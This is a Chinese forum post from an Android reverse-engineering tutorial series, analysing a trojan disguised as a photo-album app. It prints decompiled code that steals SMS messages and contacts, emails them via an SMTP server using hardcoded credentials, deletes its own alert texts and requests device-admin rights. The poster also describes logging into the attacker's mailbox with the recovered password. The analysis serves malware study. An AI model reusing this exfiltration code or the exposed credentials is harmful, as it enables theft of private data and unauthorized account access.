新手上路

- 資源幣
- 19
- 積分
- 16
- 貢獻(xiàn)
- 0
- 在線時(shí)間
- 2 小時(shí)
- 注冊(cè)時(shí)間
- 2020-2-20
- 最后登錄
- 2020-5-2
|
零基礎(chǔ)安卓逆向?qū)W習(xí)之旅(五)安卓木馬分析
前言
上期小狼跟大伙分享了如何利用APP漏洞,本期學(xué)習(xí)之旅先中斷一下,跟大伙兒分享一個(gè)木馬的分析,木馬呢是去年的一個(gè)木馬,木馬里面使用的技術(shù)不是最新的技術(shù)手段,估計(jì)木馬的編寫者估計(jì)水平有限呢。
0x01 正文
1、總體功能
該木馬是偽裝在一個(gè)相冊(cè) app 下, 主要偷取用戶的短信、通訊錄等個(gè)人隱私信息,然后再通過發(fā)送郵件的方式向掛馬者的郵箱傳送這些偷取到的個(gè)人數(shù)據(jù)。這個(gè)木馬的主要功能有以下幾個(gè):
① app 啟動(dòng)時(shí),先掛馬者的手機(jī)號(hào)碼發(fā)送用戶的設(shè)備 ID、 手機(jī)型號(hào)、系統(tǒng)版本等提示信息,用來提醒掛馬者有新中木馬的用戶,以便查看郵箱; 同時(shí)在短信發(fā)送完后,順便訪問短信數(shù)據(jù)庫,將發(fā)送的短信刪除。
② 讀取用戶短信 app 下的數(shù)據(jù)庫,獲取其中發(fā)信人號(hào)碼、 發(fā)信日期、短信內(nèi)容等私人信息。
③ 讀取用戶通訊錄 app 下的數(shù)據(jù)庫,讀取通訊錄中的姓名及與姓名對(duì)應(yīng)的電話、手機(jī)號(hào)碼。
④ 將上邊獲取的所有個(gè)人隱私信息轉(zhuǎn)換為郵件的格式,以便通過郵件向掛馬者
發(fā)送獲取到的數(shù)據(jù)。
⑤以掛馬者的郵箱賬號(hào)和密碼,調(diào)用手機(jī)上的 email 通信方式,將上邊轉(zhuǎn)換為
郵件格式的個(gè)人信息,發(fā)送到掛馬者的郵箱上。
⑥請(qǐng)求獲取管理員的權(quán)限, 使木馬更長久地存活。
總體流程圖:
1.png (192.63 KB, 下載次數(shù): 118)
下載附件
保存到相冊(cè)
2020-2-21 19:53 上傳
2、過程分析
2.1 查看 AndroidManifest.xml, 了解木馬權(quán)限
運(yùn) 用 apktool 工 具 對(duì) apk 文 件 進(jìn) 行 反 編 譯 , 在 生 成 的AndroidManifest.xml 文件中可以查看到該 app 一共使用下邊的二十多個(gè)系統(tǒng)權(quán)限,其中包括讀取通訊錄信息、接收、讀取、修改、發(fā)送短信等涉及個(gè)人隱私信息的權(quán)限。
<uses-permission android:name="android.permission.INTERNET"/>
//獲取網(wǎng)絡(luò)套接字
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
//寫入外部存儲(chǔ)
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
//獲取網(wǎng)絡(luò)狀態(tài)
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
//獲取 WiFi 狀態(tài)
<uses-permission android:name="android.permission.WAKE_LOCK"/>
//允許使用 PowerManager 的 WakeLocks 保持進(jìn)程在休眠時(shí)從屏幕消失
<uses-permission android:name="android.permission.VIBRATE"/>
//允許訪問振動(dòng)器
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
//接收 WAP push 的信息
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
//獲取設(shè)備啟動(dòng)時(shí)的廣播
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
//修改音頻設(shè)置
<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
//獲取用戶啟動(dòng)屏幕的廣播
<uses-permission android:name="android.permission.READ_CONTACTS"/>
//讀取通訊錄
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
//獲取通話狀態(tài)及電話號(hào)碼
<uses-permission android:name="android.permission.CALL_PHONE"/>
//初始化電話撥號(hào)不需通過撥號(hào)用戶界面讓用戶確認(rèn)
<uses-permission android:name="android.permission.READ_SMS"/>
//讀取短信
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
//讀、寫用戶系統(tǒng)設(shè)置
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
//接收短信
<uses-permission android:name="android.permission.WRITE_SMS"/>
//編寫短信
<uses-permission android:name="android.permission.SEND_SMS"/>
//發(fā)送短信
2.2 獲取源碼,分析木馬機(jī)理
從 AndroidManifest.xml 文件可確定主活動(dòng):android:name="com.phone2.stop.activity.MainActivity"運(yùn)用 dex2jar、 jd-gui 工具進(jìn)行反編譯,獲取 app 的 java 源碼, 由主活動(dòng)鎖定com 包中的 MainActivity.class,并定位到 onCreate()方法,其代碼如下
2.png (162.63 KB, 下載次數(shù): 104)
下載附件
保存到相冊(cè)
2020-2-21 19:54 上傳
(1)配置、初始化 configuration_data 文件
最先的可疑點(diǎn)是在對(duì) j 類的調(diào)用,初始化后,便是對(duì) j 類中 a/b/c/d/e 幾
個(gè)方法的調(diào)用,這幾個(gè)方法實(shí)現(xiàn)的功能是相似的,以 a 為例進(jìn)行剖析,進(jìn)入 a 方法, 代碼如下:
public static void a(Context paramContext)
{
if (com.phone.stop.db.a.a(paramContext).o()) {
return;
}
String str = h.a(com.phone.stop.db.a.a(paramContext).d());
com.phone.stop.db.a.a(paramContext).c(str);
com.phone.stop.db.a.a(paramContext).e(true);
}
該方法都將 context 傳入 com.phone.stop.db.a.a 類,并對(duì)里邊的相關(guān)方法進(jìn)行調(diào)用,先是對(duì) o()方法的返回結(jié)果進(jìn)行判斷,再進(jìn)一步查看 o()代碼
public boolean o()
{
return this.b.getBoolean("have_init_phone_number", false);
}
b 定義為:
this.b=paramContext.getSharedPreferences("configurations_data", 0);所 以 可 見 o() 方 法 是 讀 取 文 件 configuretions_data 中 鍵 值 為have_init_phone_number 所對(duì)應(yīng)的值,初始值是 false,便進(jìn)行 d(), c(), e()三個(gè)方法的調(diào)用。
d():
public String d()
{
return this.b.getString("a100", "135****6943");
}
獲取字符串,并通過 h.a()方法對(duì)其進(jìn)行字節(jié)轉(zhuǎn)換
c():
public void c(String paramString)
{
SharedPreferences.Editor localEditor = this.b.edit();
localEditor.putString("a10", paramString);
localEditor.commit();
}
c()方法是將上邊獲得的字符串編輯在 configurations_data 文件中再調(diào)用 e()將原本 have_init_phone_number 的值,改為 true。
public void e(boolean paramBoolean)
{
SharedPreferences.Editor localEditor = this.b.edit();
localEditor.putBoolean("have_init_phone_number", paramBoolean);
localEditor.commit();
}
這是 j 類中 a()所實(shí)現(xiàn)的配置,而其他幾個(gè)方法也是對(duì) configurations_data文件進(jìn)行鍵值對(duì)配置,可見,一開始對(duì) j 類幾個(gè)的方法的調(diào)用,是先將有關(guān)數(shù)據(jù)存儲(chǔ)到 configurations_data 文件下,以便之后對(duì)內(nèi)容的讀取調(diào)用。
(2)獲取手機(jī)配置信息,向掛馬者發(fā)送提醒
onCreate()方法接著的是對(duì)!a.a(this).r()的判斷,其代碼如下:
public boolean r()
{
return this.b.getBoolean("has_send_phone_info", false);
}
仍是對(duì) configurations_data 文件的操作,獲取 has_send_phone_info 的值,起初為 false,執(zhí)行:
paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();
//獲取手機(jī)設(shè)備的 ID
f.a("軟件安裝完畢\n 識(shí)別碼" + paramBundle + "\n" + e.a(), this);
//獲取用戶手機(jī)配置信息,并通過短信向木馬作者的手機(jī)發(fā)送
a.a(this).h(true);
//將 configurations_data 文件的 has_send_phone_info 鍵值設(shè)置為 true
對(duì) f.a("軟件安裝完畢\n 識(shí)別碼" + paramBundle + "\n" + e.a(), this);進(jìn)行分析
e.a():
public static String a()
{
return "型號(hào):" + a(Build.MODEL) + ";\n 手機(jī)" + a(Build.BRAND) +";\n 系統(tǒng)版本: " + a(Build.VERSION.RELEASE);
}
由代碼可知 e.a()方法是調(diào)用 Build 來獲取用戶手機(jī)的型號(hào)、牌子、系統(tǒng)版本而 f.a()則是以獲得的這些信息來啟動(dòng)新的線程,在該 Thread 類的 run()最后中執(zhí)行的是Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(localObject2, newObject[] { a.a(this.b).d(), null, localObject1, null, null });
這里調(diào)用了 android.telephony.SmsManager 類的 sendTextMessage()方法來發(fā)送短信。 其中, localObject1 就是短信要發(fā)送的內(nèi)容,便是前邊獲取到的手機(jī)配置信息,而 a.a(this.b).d()相應(yīng)的代碼為:
public String d()
{
return this.b.getString("a100", "135****6943");
}
就是獲取一開始在 configurations_data 文件添加的鍵值對(duì),從而通過該方法來獲取字符串"135****6943",這就是短信所要發(fā)送的目的手機(jī),用來提醒作者新被掛馬的手機(jī)
(3)及時(shí)刪除剛發(fā)送的短信
發(fā)送完短信后順便將短信刪除, 執(zhí)行 h.b(this); 該方法通過 ContentResolver來訪問SMS數(shù)據(jù)庫,通過查詢獲取剛發(fā)送的短信 id,并通過該 id 刪除短信:
ContentResolver localContentResolver;
Cursor localCursor;
if (!com.phone.stop.db.a.a(paramContext).p())
//獲取 configurations_data 的相關(guān)鍵值,判斷是否記錄刪除了短信
{
localContentResolver = paramContext.getContentResolver();
localCursor = localContentResolver.query(com.phone.stop.a.a.b,null, null, null, "date");
// com.phone.stop.a.a.b 對(duì)應(yīng) content://sms/inbox
}
try
{
if ((!com.phone.stop.db.a.a(paramContext).p()) && (localCursor.moveToNext()))
{
int i = localCursor.getInt(localCursor.getColumnIndex("_id"));
if (localContentResolver.delete(Uri.parse("content://sms/" +i), null, null) == 1)
{ //刪除短信
com.phone.stop.db.a.a(paramContext).f(true); //修改鍵值
}
}
(4)執(zhí)行木馬核心部分,獲取、發(fā)送個(gè)人信息
onCreate()方法接著執(zhí)行的是
if (a.a(this).g()) {
d.a(this);
}
仍通過獲取 configurations_data 文件中鍵值的判斷
public boolean g()
{
return this.b.getBoolean("email_message_contacts_switch", true);
}
這是判斷是否要進(jìn)行對(duì)用戶短信、通訊錄的發(fā)送, true所以執(zhí)行 d.a(this),而這里的 a 方法是下圖所示的,啟動(dòng)新線程,進(jìn)行這個(gè)木馬最主要的任務(wù)
3.png (100.19 KB, 下載次數(shù): 100)
下載附件
保存到相冊(cè)
2020-2-21 19:55 上傳
其中的后兩個(gè) if 判斷,依然是通過 configurations_data 中相應(yīng)鍵值的判斷,第一次是判斷是否已經(jīng)發(fā)送用戶的短信信息,一開始當(dāng)然是 false,進(jìn)行用戶短信的獲取,并通過 email 向目標(biāo)郵箱發(fā)送從用戶手機(jī)獲取到的短信。
4.png (168.38 KB, 下載次數(shù): 104)
下載附件
保存到相冊(cè)
2020-2-21 19:55 上傳
分析上圖中的代碼可以知道其中的主要功能便是:獲取短信數(shù)據(jù)庫里的重要信息,將所獲取的信息進(jìn)行郵件格式的轉(zhuǎn)換,最后將整理后的信息通過 email 發(fā)送到木馬作者的郵箱。
(5)短信獲取,并用 email 發(fā)送
一開始是通過 localObject2 = i.a(paramContext);的調(diào)用將獲取到的信息傳給參數(shù) localObject2,查看 i.a 方法的調(diào)用,其主要代碼如下圖所示:
5.png (96.18 KB, 下載次數(shù): 103)
下載附件
保存到相冊(cè)
2020-2-21 19:56 上傳
通過查詢 content URI(“content://sms”)下{ "_id", "address", "person","body", "date", "type", "thread_id"}這幾個(gè)名稱所對(duì)應(yīng)的信息,其中主要包括了發(fā)信人號(hào)碼,發(fā)信日期,短信的內(nèi)容。然后像上邊代碼所示的,通過遍歷對(duì)這些值進(jìn)行一一獲取,并保存在一開始的 List 下( localArrayList = new ArrayList(); ), 最 后 將 localArrayList 返 回 , 其 返 回 值 便 傳 給 了localObject2,接著是對(duì)這些獲取到的信息進(jìn)行整理:
Object localObject3 =(com.phone.stop.d.b)((Iterator)localObject2).next();
((StringBuffer)localObject1).append("<br><br><font color=red>----------------------" + ((com.phone.stop.d.b)localObject3).b + " " +((com.phone.stop.d.b)localObject3).c + "-------------</font><br>");
//這里便是一個(gè)發(fā)信人的標(biāo)題,包括了號(hào)碼區(qū)號(hào),之后的 c 是重要的號(hào)碼
localObject3 = ((com.phone.stop.d.b)localObject3).d.iterator();
//迭代器
while (((Iterator)localObject3).hasNext()) //短信遍歷
{
localObject4 =(com.phone.stop.d.a)((Iterator)localObject3).next();
if (((com.phone.stop.d.a)localObject4).e == 1) {
((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append(((com.phone.stop.d.a)localObject4).c).append("<br>");
} else {
((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append("<font color=blue>").append(((com.phone.stop.d.a)localObject4).c).append("</font>").append("<br>");
}
//上邊的 if 過程是對(duì)短信內(nèi)容的整理,通過判斷確定內(nèi)容以黑/藍(lán)顏色發(fā)送整理為 email 發(fā)送格式后,便是進(jìn)行向作者郵箱發(fā)送信息的步驟了,主要部分如下:
localObject2 = locala.h();
//獲取郵箱登陸賬號(hào) this.b.getString("a60", "135****6943@189.cn");
localObject3 = locala.j();
//獲取郵箱登陸密碼 this.b.getString("a80", "laojia88");
localObject4 = locala.i();
//獲取目標(biāo)郵箱 this.b.getString("a70", "135****6943@189.cn");
b localb = new b(); //建立起手機(jī)的 email 協(xié)議
localb.a("smtp.189.cn", "465"); //189 郵箱
localb.a((String)localObject2, "(IMEI)" + paramContext + "【短信記錄】", (String)localObject1);
//這里便是添加郵件發(fā)信人,郵件主題,郵件內(nèi)容
localb.a(new String[] { localObject4 });
//添加收信人
localb.b("smtp.189.cn", (String)localObject2, (String)localObject3);
//本地郵箱登陸
locala.j(true);
//給 configurations_data 的鍵值作標(biāo)記, ”has_send_message“ =true,短信郵件已發(fā)送。
(6)繼續(xù)獲取通訊錄, 再次用 email
發(fā)送發(fā)送完用戶的短信信息,之后便是通訊錄的發(fā)送了,主要代碼如圖
6.png (106.66 KB, 下載次數(shù): 102)
下載附件
保存到相冊(cè)
2020-2-21 19:56 上傳
其大部分原理都跟上邊發(fā)送短信的相同,獲取通訊錄數(shù)據(jù),將數(shù)據(jù)整理為email 發(fā)送格式,向目標(biāo)郵箱發(fā)送數(shù)據(jù),其中對(duì)通訊錄數(shù)據(jù)庫的獲取如下
7.png (101.92 KB, 下載次數(shù): 100)
下載附件
保存到相冊(cè)
2020-2-21 19:57 上傳
通過查詢通訊錄 content URI,然后獲取"_id", "display_name"名稱,遍歷數(shù)據(jù)庫里所有的通訊人信息,包括對(duì)一人對(duì)應(yīng)多個(gè)號(hào)碼的一一獲取,最后將獲取到的人名及對(duì)應(yīng)的所有號(hào)碼,添加到 List( localArrayList)里,將結(jié)果返回。接著便是對(duì)返回結(jié)果進(jìn)行整理,將整個(gè)通訊信息發(fā)送給目標(biāo)郵箱,過程跟上邊短信的相同。
(7)進(jìn)一步提權(quán)
再獲取、發(fā)送完這些信息之后,還有對(duì)這個(gè)進(jìn)行申請(qǐng)管理員權(quán)限的操作,便是執(zhí)行了 a()方法其代碼如下圖
8.png (175.63 KB, 下載次數(shù): 98)
下載附件
保存到相冊(cè)
2020-2-21 19:57 上傳
主要就是向"android.app.action.ADD_DEVICE_ADMIN"發(fā)送提權(quán)申請(qǐng),這時(shí)用戶手機(jī)上管理權(quán)限程序就會(huì)彈出該 app 的提權(quán)申請(qǐng)確認(rèn) activity,當(dāng)用戶不小心同意了該提權(quán)申請(qǐng)時(shí),該木馬便可獲得管理權(quán)限,這將更有利于木馬的生存,不易被查殺、刪除。
(8)登錄掛馬者郵箱,查看木馬狀態(tài)
在上邊分析中可以獲得木馬作者的郵箱賬號(hào)及密碼,嘗試登陸查看該木馬近期的狀態(tài),如下圖,可見該木馬還在繼續(xù)活躍傳播。
9.png (25.56 KB, 下載次數(shù): 100)
下載附件
保存到相冊(cè)
2020-2-21 19:57 上傳
|
|